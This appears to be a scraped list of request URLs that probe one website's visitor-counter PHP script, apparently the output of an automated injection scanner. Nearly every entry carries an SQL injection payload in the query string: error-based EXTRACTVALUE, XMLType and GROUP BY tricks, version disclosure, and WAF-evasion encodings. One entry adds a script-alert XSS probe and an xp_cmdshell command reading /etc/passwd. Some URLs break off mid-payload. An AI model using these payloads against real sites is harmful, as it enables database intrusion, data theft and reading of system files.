http://evol.com.tw /ip_visitor_counter.php?api=test%29+AND+aND%2F%2A%2A%2F1349%3D%28sELECT%2F%2A%2A%2FUPPER%28XMLTyPE%28ChR%2860%29%7C%7CChr%2858%29%7C%7C%2527%7E%2527%7C%7C%28SeleCt%2F%2A%2A%2F%28caSe%2F%2A%2A%2FwHeN%2F%2A%2A%2F%281349%3D1349%29%2F%2A%2A%2Fthen%2F%2A%2A%2F1%2F%2A%2A%2FelSe%2F%2A%2A%2F0%2F%2A%2A%2FEnD%29%2F%2A%2A%2FFRom%2F%2A%2A%2FDUAL%29%7C%7C%2527%7E%2527%7C%7CChR%2862%29%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDuAl%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%29AND%2F%2A%2A%2F1569%2F%2A%2A%2FIN%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28%27%7E%27%2B%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%281569%3D1569%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F%271%27%2F%2A%2A%2FELSE%2F%2A%2A%2F%270%27%2F%2A%2A%2FEND%29%29%2B%27%7E%27%29%29+AND+%271%27%3D%271

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27+AND+EXTRACTVALUE%288721%2CCONCAT%280x7e%2C%28SELECT%2F%2A%2A%2F%28ELT%288721%3D8721%2C1%29%29%29%2C0x7e%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=test)%20AND%20AND%25044098%2503IN%2502(SELECT%250F(%2527~%2527%2B(SELECT%250E(CASE%2507WHEN%250C(4098%3D4098)%250DTHEN%2507%25271%2527%2507ELSE%250A%25270%2527%2502END))%2B%2527~%2527))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=and+1%3D+AND+1+GROUP+BY+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%2C+0x7e%2C+FLOOR%28RAND%280%29+%2A+2%29%29+HAVING+MIN%280%29%23+and+1%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27)EXTRACTVALUE(10861,CONCAT(0x7e,(SELECT/**/(ELT(10861%3D10861,1))),0x7e))%20AND%20%271%27%3D%271

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%29+AND+%2F%2A%2150000And%2A%2F%2F%2A%2A%2F9467%2F%2A%2A%2FIn%2F%2A%2A%2F%28%2F%2A%2150000SelECt%2A%2F%2F%2A%2A%2F%28%27~%27%2B%28%2F%2A%2150000SELecT%2A%2F%2F%2A%2A%2F%28%2F%2A%2150000CAsE%2A%2F%2F%2A%2A%2F%2F%2A%2150000wheN%2A%2F%2F%2A%2A%2F%289467%3D9467%29%2F%2A%2A%2F%2F%2A%2150000Then%2A%2F%2F%2A%2A%2F%271%27%2F%2A%2A%2F%2F%2A%2150000Else%2A%2F%2F%2A%2A%2F%270%27%2F%2A%2A%2F%2F%2A%2150000END%2A%2F%29%29%2B%27~%27%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=%20and%20

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27+AND+1=1--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=testExtRaCTvAlUE(9872,/*!50000ConCAt*/(0X7E,(/*!50000sElEct*//**/(elT(9872%3D9872,1))),0X7e))%20AND%201%3D1--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=testEXTRACTVALUE(6802,CONCAT(0x7e,(SELECT/**/(ELT(6802%3D6802,1))),0x7e))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?__waf_test__=%27%20OR%20%271%27%3D%271%27%20UNION%20SELECT%20NULL,%27%3Cscript%3Ealert(1

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27+OR+1=1--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=+or+1%3D+AND+0%3DCAST%28COALESCE%28%28SELECT+version%28%29%29%3A%3Atext%2C+CHR%2832%29%29%3A%3Atext+%7C%7C+CHR%2867%29+AS+NUMERIC%29+and+1%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=*

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND%2F%2A%2A%2F9762%3D%28SELECT%2F%2A%2A%2FUPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27~%27%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%289762%3D9762%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29%7C%7C%27~%27%7C%7CCHR%2862%29%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29+AND+1%3D1--+-%27+or+1%3D+AND+1+GROUP+BY+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%2C+0x7e%2C+FLOOR%28RAND%280%29+%2A+2%29%29+HAVING+MIN%280%29%23--

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27EXTRACTVALUE%284158

-

http://evol.com.tw /ip_visitor_counter.php?api=+or+1%3D%28SELECT+1+FROM+%28SELECT+COUNT%28%2A%29%2C+CONCAT%28%28SELECT+%28SELECT+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%29%29%29%2C+FLOOR%28RAND%280%29+%2A+2%29%29+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x%29+a%29+and+1%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=and%201%3D%20AND%20

-

http://evol.com.tw /ip_visitor_counter.php?api=test'%20AND%201=1--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=+AND+%28SELECT+1+FROM+%28SELECT+COUNT%28%2A%29%2C+CONCAT%28%28SELECT+%28SELECT+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%29%29%29%2C+FLOOR%28RAND%280%29+%2A+2%29%29+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x%29+a%29--

-

http://evol.com.tw /ip_visitor_counter.php?api=+AND+1+GROUP+BY+CONCAT%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%2C+0x7e%2C+FLOOR%28RAND%280%29+%2A+2%29%29+HAVING+MIN%280%29%23

-

http://evol.com.tw /ip_visitor_counter.php?api=test%20AND%20eXTRACTvaLuE(7749,/*!50000cONcAT*/(0X7E,(/*!50000seLect*//**/(ELT(7749%3D7749,1))),0x7e))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=testEXTRACTVALUE(9924,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(9924%3D9924,1))),0x7e))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test)exTractvalUE(8370,/*!50000CONCaT*/(0x7e,(/*!50000SeLeCt*//**/(Elt(8370%3D8370,1))),0x7E))--%20-

-

http://evol.com.tw /ip_visitor_counter.php

-

http://evol.com.tw /ip_visitor_counter.php?api=testEXTRACTVALUE(2074,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(2074=2074,1))),0x7e))%20AND%201=1--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27EXTRACTVALUE%284158,CONCAT%280x7e,%28SELECT/**/%28ELT%284158=4158,1%29%29%29,0x7e%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=+AND+GTID_SUBSET%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%29

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22%20AND%20AND/**/2312/**/IN/**/(SELECT/**/('~'%2B(SELECT/**/(CASE/**/WHEN/**/(2312=2312)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))%2B'~'))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%29+AND+AND%044098%03IN%02%28SELECT%0F%28%27%7E%27+%28SELECT%0E%28CASE%07WHEN%0C%284098=4098%29%0DTHEN%07%271%27%07ELSE%0A%270%27%02END%29%29+%27%7E%27%29%29--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND/**/9762=(SELECT/**/UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7C%27~%27%7C%7C(SELECT/**/(CASE/**/WHEN/**/(9762=9762)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)%7C%7C%27~%27%7C%7CCHR(62)))/**/FROM/**/DUAL)%20AND%201=1--%20-%27%20and%20%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),%20CONCAT((SELECT%20(SELECT%20CONCAT(CAST(VERSION()%20AS%20CHAR),0x7e))),%20FLOOR(RAND(0)%20*%202))%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)%20a)--%20and%20%271%27=%271

-

http://evol.com.tw /ip_visitor_counter.php?api=test'%20AND%20/*!50000anD*//**/6126/**/In/**/(/*!50000SELecT*//**/('~'%2B(/*!50000SeLECT*//**/(/*!50000cASe*//**//*!50000whEn*//**/(6126=6126)/**//*!50000tHEn*//**/'1'/**//*!50000Else*//**/'0'/**//*!50000ENd*/))%2B'~'))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27EXTRACTVALUE(4158,CONCAT(0x7e,(SELECT/**/(ELT(4158%3D4158,1))),0x7e))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=testEXTRACTVALUE%281249%2CCONCAT%280x7e%2C%28SELECT%2F%2A%2A%2F%28ELT%281249%3D1249%2C1%29%29%29%2C0x7e%29%29+AND+1%3D1--+-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20EXTRACTVALUE(8721,CONCAT(0x7e,(SELECT/**/(ELT(8721%3D8721,1))),0x7e))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?__waf_test__=%27%20OR%20%271%27=%271%27%20UNION%20SELECT%20NULL,%27%3Cscript%3Ealert(1)%3C/script%3E%27,table_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/**/;%20EXEC%20xp_cmdshell(%27cat%20/etc/passwd%27)%23&api=*

-

http://evol.com.tw /ip_visitor_counter.php?api=999999.9%20union%20all%20select%20unhex

-

http://evol.com.tw /ip_visitor_counter.php?api=%20or%201%3D%20AND%20

-

http://evol.com.tw /ip_visitor_counter.php?api=testAND%2F%2A%2A%2F9762%3D%28SELECT%2F%2A%2A%2FUPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7C%27~%27%7C%7C%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%289762%3D9762%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0%2F%2A%2A%2FEND%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29%7C%7C%27~%27%7C%7CCHR%2862%29%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2FDUAL%29+AND+1%3D1--+-%27+or+1%3D%28SELECT+1+FROM+%28SELECT+COUNT%28%2A%29%2C+CONCAT%28%28SELECT+%28SELECT+CONCAT%28GTID_SUBSET%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%29%29%29%29%2C+FLOOR%28RAND%280%29+%2A+2%29%29+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x%29+a%29+and+%271%27%3D%271

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27%20AND%20AND%250410744%250CIN%250D(SELECT%2508(%2527~%2527%2B(SELECT%2505(CASE%2502WHEN%250B(10744%3D10744)%2506THEN%250D%25271%2527%250FELSE%2502%25270%2527%2508END))%2B%2527~%2527))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=and+1%3D%28SELECT+1+FROM+%28SELECT+COUNT%28%2A%29%2C+CONCAT%28%28SELECT+%28SELECT+CONCAT%28GTID_SUBSET%28CAST%28VERSION%28%29+AS+CHAR%29%2C0x7e%29%29%29%29%2C+FLOOR%28RAND%280%29+%2A+2%29%29+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x%29+a%29+and+1%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27)%20AND%20AND%25015832%2509IN%250F(SELECT%250B(%2527~%2527%2B(SELECT%250D(CASE%250DWHEN%250A(5832%3D5832)%2501THEN%2503%25271%2527%2502ELSE%250A%25270%2527%2502END))%2B%2527~%2527))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27)eXtrAcTvALUe(4284,/*!50000cONCaT*/(0X7e,(/*!50000selECT*//**/(Elt(4284%3D4284,1))),0x7E))%20AND%20%271%27%3D%271

-

http://evol.com.tw /ip_visitor_counter.php?api=test%20AND%20EXTRACTVALUE(10910,CONCAT(0x7e,(SELECT/**/(ELT(10910%3D10910,1))),0x7e))--%20-

-

http://evol.com.tw /ip_visitor_counter.php?api=and%201%3D%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*

-

http://evol.com.tw /ip_visitor_counter.php?api=%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),%20CONCAT((SELECT%20(SELECT%20CONCAT(CAST(VERSION()%20AS%20CHAR),0x7e))),%20FLOOR(RAND(0)%20*%202))%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)%20a)--%20and%201%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=and%201%3D%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),%20CONCAT((SELECT%20(SELECT%20CONCAT(CAST(VERSION()%20AS%20CHAR),0x7e))),%20FLOOR(RAND(0)%20*%202))%20x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)%20a)--%20and%201%3D1

-

http://evol.com.tw /ip_visitor_counter.php?api=test%22+AND+AND%25086794%2506IN%250C%28SELECT%2504%28%2527

-

http://evol.com.tw /ip_visitor_counter.php?api=test%27+AND+%2F%2A%2150000AND%2A%2F%2F%2A%2A%2F10516%3D%2F%2A%2150000caSt%2A%2F%28%27

-